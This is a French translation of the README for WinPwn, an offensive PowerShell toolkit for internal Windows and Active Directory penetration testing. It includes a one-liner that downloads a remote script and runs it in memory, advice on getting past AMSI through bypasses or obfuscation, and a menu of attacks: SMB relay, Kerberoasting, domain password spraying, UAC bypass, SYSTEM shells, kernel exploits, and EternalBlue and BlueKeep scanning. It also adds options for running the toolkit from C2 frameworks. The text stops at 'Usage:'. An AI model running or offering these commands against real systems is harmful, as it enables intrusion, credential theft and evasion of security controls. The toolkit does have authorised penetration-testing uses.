Automatisation pour les tests de pénétration Windows internes / Sécurité AD
Dans de nombreux tests de pénétration internes passés, j'avais souvent des problèmes avec les scripts PowerShell de reconnaissance/exploitation existants en raison du manque de support proxy. Je lançais aussi souvent les mêmes scripts les uns après les autres pour obtenir des informations sur le système actuel et/ou le domaine. Pour automatiser autant de processus de test de pénétration interne (reconnaissance ainsi qu'exploitation) et pour la raison du proxy, j'ai écrit mon propre script avec reconnaissance et intégration automatiques du proxy. Le script est principalement basé sur de grands projets PowerShell offensifs bien connus.
Toute suggestion, retour, Pull request et commentaire sont les bienvenus !
Importez simplement les modules avec :
Import-Module .\WinPwn.ps1 ou
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Pour contourner AMSI, utilisez l'une des techniques de contournement existantes, trouvez le déclencheur AMSI et modifiez-le manuellement dans la fonction de contournement ou encodez la chaîne du déclencheur. Sinon, obfusquez l'ensemble du script.
Si vous vous retrouvez bloqué sur un système Windows sans accès Internet - aucun problème, utilisez simplement Offline_Winpwn.ps1, les scripts et exécutables les plus importants sont inclus.
Fonctions disponibles après import :
WinPwn -> Menu pour choisir les attaques :
Inveigh -> Exécute Inveigh dans une nouvelle fenêtre de console, attaques SMB-Relay avec gestion de session (Invoke-TheHash) intégréeSessionGopher -> Exécute Sessiongopher en vous demandant des paramètresKittielocal ->Localreconmodules ->Domainreconmodules ->Privescmoduleskernelexploits ->UACBypass ->SYSTEMShell ->Shareenumeration -> Invoke-Filefinder et Invoke-Sharefinder (Powerview / Powersploit)Domainshares -> Recherche Snaffler ou Passhunt sur tous les systèmes du domaineGroupsearch -> Get-DomainGPOUserLocalGroupMapping - trouver les systèmes où vous avez un accès administrateur ou RDP via le mappage de stratégie de groupe (Powerview / Powersploit)Kerberoasting -> Exécute Invoke-Kerberoast dans une nouvelle fenêtre et stocke les hashes pour un craquage ultérieurPowerSQL -> Découverte de serveurs SQL, vérifier l'accès avec l'utilisateur actuel, auditer les identifiants par défaut + attaques d'injection de chemin UNCSharphound -> Rapport Bloodhound 3.0Adidnsmenu -> Créer ou supprimer des nœuds DNS intégrés à Active DirectoryMS17-10 -> Analyser les serveurs Windows actifs du domaine ou tous les systèmes pour la vulnérabilité MS17-10 (Eternalblue)Sharpcradle -> Charger des fichiers C# depuis un serveur Web distant en mémoireDomainPassSpray -> Attaques DomainPasswordSpray, un mot de passe pour tous les utilisateurs du domaineBluekeep -> Scanner Bluekeep pour les systèmes du domaineSans paramètres, la plupart des fonctions ne peuvent être utilisées qu'à partir d'un shell interactif. J'ai donc décidé d'ajouter les paramètres -noninteractive et -consoleoutput pour rendre le script utilisable depuis un framework C2 asynchrone comme Empire, Covenant, Cobalt Strike ou autres. De plus, le paramètre -repo a été ajouté pour utiliser WinPwn avec toutes ses fonctionnalités depuis un dépôt local. Ils peuvent être utilisés comme suit :
Usage: